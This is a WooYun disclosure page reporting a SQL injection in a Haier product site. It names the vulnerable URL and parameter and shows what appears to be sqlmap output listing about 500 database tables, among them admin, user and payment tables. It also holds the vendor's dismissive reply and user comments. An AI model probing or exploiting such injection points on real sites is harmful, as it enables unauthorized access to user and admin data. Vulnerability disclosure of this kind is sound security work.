当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-026874

漏洞标题:海尔旗下某产品网站存SQL注入漏洞,可获取管理员信息

相关厂商:海尔集团

漏洞作者: lucky

提交时间:2013-06-25 16:08

修复时间:2013-06-25 18:00

公开时间:2013-06-25 18:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-25: 细节已通知厂商并且等待厂商处理中
2013-06-25: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

海尔旗下某产品网站存SQL注入漏洞,可获取管理员信息

详细说明:

http://www.casarte.cn/ksd/list.php?city=%E5%8C%97%E4%BA%AC


10.PNG


11.PNG


12.PNG

漏洞证明:

back-end DBMS: MySQL 5.0.11
[03:59:56] [INFO] fetching tables for database: 'ultrax'
Database: ultrax
[500 tables]
+---------------------------------------+
| chat_admin |
| chat_anwser |
| chat_anwservalue |
| chat_customgroup |
| chat_ele |
| chat_keywords |
| chat_kfanswer |
| chat_log |
| chat_pals |
| chat_session |
| chat_transfer_fileinfo |
| chat_txt |
| chat_users |
| ecs_account_log |
| ecs_ad |
| ecs_ad_custom |
| ecs_ad_position |
| ecs_admin_action |
| ecs_admin_log |
| ecs_admin_message |
| ecs_admin_user |
| ecs_adsense |
| ecs_affiliate_log |
| ecs_agency |
| ecs_area_region |
| ecs_article |
| ecs_article_cat |
| ecs_attribute |
| ecs_auction_log |
| ecs_auto_manage |
| ecs_back_goods |
| ecs_back_order |
| ecs_bonus_type |
| ecs_booking_goods |
| ecs_brand |
| ecs_card |
| ecs_cart |
| ecs_cat_recommend |
| ecs_cate_seo |
| ecs_category |
| ecs_collect_goods |
| ecs_comment |
| ecs_comment_evaluate |
| ecs_comment_extend |
| ecs_comment_goods_category |
| ecs_comment_result |
| ecs_comment_tag |
| ecs_comment_user_tag |
| ecs_crons |
| ecs_delivery_goods |
| ecs_delivery_order |
| ecs_email_list |
| ecs_email_sendlist |
| ecs_error_log |
| ecs_exchange_goods |
| ecs_favourable_activity |
| ecs_feedback |
| ecs_friend_link |
| ecs_goods |
| ecs_goods_activity |
| ecs_goods_article |
| ecs_goods_attr |
| ecs_goods_cat |
| ecs_goods_gallery |
| ecs_goods_recommend |
| ecs_goods_type |
| ecs_group_goods |
| ecs_keywords |
| ecs_link_goods |
| ecs_mail_templates |
| ecs_member_price |
| ecs_nav |
| ecs_order_action |
| ecs_order_goods |
| ecs_order_info |
| ecs_pack |
| ecs_package_goods |
| ecs_pay_log |
| ecs_payment |
| ecs_plugins |
| ecs_products |
| ecs_reg_extend_info |
| ecs_reg_fields |
| ecs_region |
| ecs_role |
| ecs_searchengine |
| ecs_sessions |
| ecs_sessions_copy |
| ecs_sessions_data |
| ecs_shipping |
| ecs_shipping_area |
| ecs_shop_config |
| ecs_snatch_log |
| ecs_stats |
| ecs_suppliers |
| ecs_tag |
| ecs_template |
| ecs_topic |
| ecs_user_account |
| ecs_user_address |
| ecs_user_bonus |
| ecs_user_feed |
| ecs_user_goods_views |
| ecs_user_rank |
| ecs_users |
| ecs_virtual_card |
| ecs_volume_price |
| ecs_vote |
| ecs_vote_log |
| ecs_vote_option |
| ecs_wholesale |
| k_feedback |
| k_ip |
| k_originality |
| piwik_access |
| piwik_archive_blob_2012_01 |
| piwik_archive_blob_2012_08 |
| piwik_archive_blob_2012_09 |
| piwik_archive_blob_2012_10 |
| piwik_archive_numeric_2012_01 |
| piwik_archive_numeric_2012_08 |
| piwik_archive_numeric_2012_09 |
| piwik_archive_numeric_2012_10 |
| piwik_goal |
| piwik_log_action |
| piwik_log_conversion |
| piwik_log_conversion_item |
| piwik_log_link_visit_action |
| piwik_log_profiling |
| piwik_log_visit |
| piwik_logger_api_call |
| piwik_logger_error |
| piwik_logger_exception |
| piwik_logger_message |
| piwik_option |
| piwik_report |
| piwik_session |
| piwik_site |
| piwik_site_url |
| piwik_user |
| piwik_user_dashboard |
| piwik_user_language |
| piwik_userlist |
| pre_ac_gift |
| pre_ac_info |
| pre_ac_prize_log |
| pre_ac_prize_log_bf |
| pre_ac_rule |
| pre_ac_statistics |
| pre_ac_survey |
| pre_common_addon |
| pre_common_admincp_group |
| pre_common_admincp_member |
| pre_common_admincp_perm |
| pre_common_admincp_session |
| pre_common_admingroup |
| pre_common_adminnote |
| pre_common_adminsession |
| pre_common_advertisement |
| pre_common_advertisement_custom |
| pre_common_banned |
| pre_common_block |
| pre_common_block_item |
| pre_common_block_item_archive |
| pre_common_block_permission |
| pre_common_block_style |
| pre_common_cache |
| pre_common_credit_log |
| pre_common_credit_rule |
| pre_common_credit_rule_log |
| pre_common_credit_rule_log_field |
| pre_common_cron |
| pre_common_district |
| pre_common_diy_data |
| pre_common_edm_log |
| pre_common_failedlogin |
| pre_common_friendlink |
| pre_common_invite |
| pre_common_magic |
| pre_common_magiclog |
| pre_common_mailcron |
| pre_common_mailqueue |
| pre_common_member |
| pre_common_member_count |
| pre_common_member_emailstatuslog |
| pre_common_member_field_forum |
| pre_common_member_field_home |
| pre_common_member_log |
| pre_common_member_loginlog |
| pre_common_member_magic |
| pre_common_member_profile |
| pre_common_member_profile_setting |
| pre_common_member_security |
| pre_common_member_source |
| pre_common_member_stat_field |
| pre_common_member_stat_fieldcache |
| pre_common_member_stat_search |
| pre_common_member_stat_searchcache |
| pre_common_member_status |
| pre_common_member_validate |
| pre_common_myapp |
| pre_common_myinvite |
| pre_common_mytask |
| pre_common_nav |
| pre_common_plugin |
| pre_common_pluginvar |
| pre_common_process |
| pre_common_regip |
| pre_common_report |
| pre_common_searchindex |
| pre_common_searchindex_bf |
| pre_common_secquestion |
| pre_common_session |
| pre_common_setting |
| pre_common_smiley |
| pre_common_sphinxcounter |
| pre_common_stat |
| pre_common_statuser |
| pre_common_style |
| pre_common_stylevar |
| pre_common_syscache |
| pre_common_task |
| pre_common_taskvar |
| pre_common_template |
| pre_common_template_block |
| pre_common_usergroup |
| pre_common_usergroup_field |
| pre_common_word |
| pre_custom_doodle_formula |
| pre_custom_doodle_idear |
| pre_custom_doodle_survey |
| pre_custom_doodle_vote |
| pre_custom_gongmao |
| pre_custom_gongmao_dist |
| pre_custom_gongmao_user |
| pre_customer_admin |
| pre_customer_problem |
| pre_customer_reply |
| pre_customer_reportadmin |
| pre_customer_reportvote |
| pre_dec_design |
| pre_dsu_paulsign |
| pre_dsu_paulsignset |
| pre_dsu_postfate |
| pre_dsu_postfate_stat |
| pre_eg_gift_address |
| pre_eg_gift_config |
| pre_eg_gift_creditconfig |
| pre_eg_gift_feed |
| pre_eg_gift_goods |
| pre_eg_gift_message |
| pre_eg_gift_notify |
| pre_eg_gift_orders |
| pre_eg_gift_sort |
| pre_eg_goods_log |
| pre_expert_type |
| pre_forum_access |
| pre_forum_activity |
| pre_forum_activityapply |
| pre_forum_announcement |
| pre_forum_attachment |
| pre_forum_attachmentfield |
| pre_forum_attachtype |
| pre_forum_bbcode |
| pre_forum_creditslog |
| pre_forum_debate |
| pre_forum_debatepost |
| pre_forum_faq |
| pre_forum_forum |
| pre_forum_forum_threadtable |
| pre_forum_forumfield |
| pre_forum_forumrecommend |
| pre_forum_groupcreditslog |
| pre_forum_groupfield |
| pre_forum_groupinvite |
| pre_forum_grouplevel |
| pre_forum_groupranking |
| pre_forum_groupuser |
| pre_forum_imagetype |
| pre_forum_medal |
| pre_forum_medallog |
| pre_forum_memberrecommend |
| pre_forum_moderator |
| pre_forum_modwork |
| pre_forum_onlinelist |
| pre_forum_optionvalue3 |
| pre_forum_order |
| pre_forum_poll |
| pre_forum_polloption |
| pre_forum_pollvoter |
| pre_forum_post |
| pre_forum_post_tableid |
| pre_forum_postcomment |
| pre_forum_postlog |
| pre_forum_postposition |
| pre_forum_promotion |
| pre_forum_ratelog |
| pre_forum_relatedthread |
| pre_forum_rsscache |
| pre_forum_spacecache |
| pre_forum_thread |
| pre_forum_threadclass |
| pre_forum_threadlog |
| pre_forum_threadmod |
| pre_forum_threadtype |
| pre_forum_todaypostcount |
| pre_forum_trade |
| pre_forum_tradecomment |
| pre_forum_tradelog |
| pre_forum_typeoption |
| pre_forum_typeoptionvar |
| pre_forum_typevar |
| pre_forum_viewpoint |
| pre_forum_viewpoint_identifier |
| pre_forum_warning |
| pre_haier_shop |
| pre_haier_shop_relate |
| pre_home_album |
| pre_home_album_category |
| pre_home_appcreditlog |
| pre_home_blacklist |
| pre_home_blog |
| pre_home_blog_category |
| pre_home_blogfield |
| pre_home_class |
| pre_home_click |
| pre_home_clickuser |
| pre_home_comment |
| pre_home_docomment |
| pre_home_doing |
| pre_home_favorite |
| pre_home_feed |
| pre_home_feed_app |
| pre_home_friend |
| pre_home_friend_request |
| pre_home_friendlog |
| pre_home_notification |
| pre_home_pic |
| pre_home_picfield |
| pre_home_poke |
| pre_home_pokearchive |
| pre_home_share |
| pre_home_show |
| pre_home_specialuser |
| pre_home_userapp |
| pre_home_userappfield |
| pre_home_viewlog |
| pre_home_visitor |
| pre_im_comment |
| pre_im_shop |
| pre_im_style |
| pre_im_suggest |
| pre_im_test |
| pre_im_test_pic |
| pre_im_test_pro |
| pre_im_vote |
| pre_im_vote_log |
| pre_impression |
| pre_impression_evaluate |
| pre_impression_self |
| pre_innovate_attachment |
| pre_innovate_favorite |
| pre_innovate_favorite_log |
| pre_innovate_feed |
| pre_innovate_game_user |
| pre_innovate_game_works |
| pre_innovate_haier |
| pre_innovate_program |
| pre_innovate_program_comment |
| pre_innovate_program_from |
| pre_innovate_program_type |
| pre_innovate_program_vote |
| pre_innovate_recent |
| pre_innovate_task |
| pre_innovate_task_join |
| pre_innovate_task_log |
| pre_jzxjd_weibo |
| pre_member_count_log |
| pre_msign_record |
| pre_msign_setting |
| pre_myrepeats |
| pre_plugin_active |
| pre_plugin_active_bxvote |
| pre_plugin_active_fridge |
| pre_plugin_active_icebar_message |
| pre_plugin_active_icebar_vote |
| pre_plugin_active_icebox |
| pre_plugin_active_icebox2 |
| pre_plugin_active_icebox2_message |
| pre_plugin_active_life |
| pre_plugin_active_lovekitchen_message |
| pre_plugin_active_lovekitchen_vote |
| pre_plugin_active_purifier |
| pre_plugin_active_purifier_ehaiercode |
| pre_plugin_active_purifier_photo |
| pre_plugin_active_purifier_spread |
| pre_plugin_active_thoseyear |
| pre_plugin_active_voteonline |
| pre_plugin_active_xiwan |
| pre_plugin_artstudio_baoming |
| pre_plugin_artstudio_message |
| pre_plugin_innovation_adminuser |
| pre_plugin_innovation_adminuser_power |
| pre_plugin_innovation_awardfrom |
| pre_plugin_innovation_awardfrom_title |
| pre_plugin_innovation_design |
| pre_plugin_innovation_power |
| pre_plugin_innovation_ptype |
| pre_plugin_innovation_scheme |
| pre_plugin_innovation_scheme_comment |
| pre_plugin_innovation_scheme_view |
| pre_plugin_innovation_usercount |
| pre_plugin_jiuguizhuanti |
| pre_plugin_message |
| pre_plugin_revelation |
| pre_plugin_sentiment |
| pre_plugin_topic |
| pre_plugin_vipapply |
| pre_plugin_wish12 |
| pre_plugin_year13 |
| pre_plugin_year13_record |
| pre_portal_article_content |
| pre_portal_article_count |
| pre_portal_article_related |
| pre_portal_article_title |
| pre_portal_article_trash |
| pre_portal_attachment |
| pre_portal_category |
| pre_portal_category_permission |
| pre_portal_comment |
| pre_portal_topic |
| pre_portal_topic_pic |
| pre_program_admin |
| pre_program_answer |
| pre_program_attachtype |
| pre_program_type |
| pre_program_user |
| pre_program_user_type |
| pre_ques |
| pre_quesinfo |
| pre_queslog |
| pre_quesoption |
| pre_questionnaire |
| pre_questionnaire_bx |
| pre_questionnaire_jg |
| pre_renren_connect |
| pre_sheet2 |
| pre_sinaconnect |
| pre_skating_baoming |
| pre_skating_player |
| pre_sncode_applog |
| pre_sncode_approve |
| pre_sncode_check |
| pre_sncode_content |
| pre_sncode_content_new |
| pre_sncode_userinfo |
| pre_soufun |
| pre_spring_mixeddrinks_group |
| pre_spring_mixeddrinks_userinfo |
| pre_spring_skating_userinfo |
| pre_stopspam_thread |
| pre_stopspam_user |
| pre_telareacode |
| pre_test |
| pre_test2 |
| pre_test3 |
| pre_testshell |
| pre_tqqconnect |
| pre_trends_members |
| pre_trio_members |
| pre_trrconnect |
| pre_ucenter_admins |
| pre_ucenter_applications |
| pre_ucenter_badwords |
| pre_ucenter_domains |
| pre_ucenter_failedlogins |
| pre_ucenter_feeds |
| pre_ucenter_friends |
| pre_ucenter_mailqueue |
| pre_ucenter_memberfields |
| pre_ucenter_members |
| pre_ucenter_mergemembers |
| pre_ucenter_newpm |
| pre_ucenter_notelist |
| pre_ucenter_pms |
| pre_ucenter_profile |
| pre_ucenter_protectedmembers |
| pre_ucenter_settings |
| pre_ucenter_sqlcache |
| pre_ucenter_tags |
| pre_ucenter_vars |
| pre_user_dept |
| pre_vailmobile |
| pre_zhuanti_baoming |
| pre_zhuanti_jiugui |
| price |
| price_old |
| price_old201210 |
| products_combine |
| products_xml |
+---------------------------------------+

修复方案:

版权声明:转载请注明来源 lucky@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-06-25 18:00

厂商回复:

非常感谢lucky的工作,lucky真实提交该问题时间,海尔集团还未成为乌云厂商,因此未完成了解并认领。后海尔集团于6月23日成为乌云厂商,而此漏洞也已于6月19日完善整改。

漏洞Rank:8 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

  1. 2013-06-25 18:47 | lucky ( 普通白帽子 | Rank:409 漏洞数:84 | 三人行必有我师焉########################...)

    @海尔集团 什么情况!海尔集团还未成为乌云厂商,因此未完成了解并认领。后海尔集团于6月23日成为乌云厂商,而此漏洞也已于6月19日完善整改。我今天提交的呀!

  2. 2013-07-01 18:06 | ╰╃清風 ( 实习白帽子 | Rank:89 漏洞数:9 | 这家伙很懒,什么都没有留下)

    洞主@lucky 你穿越了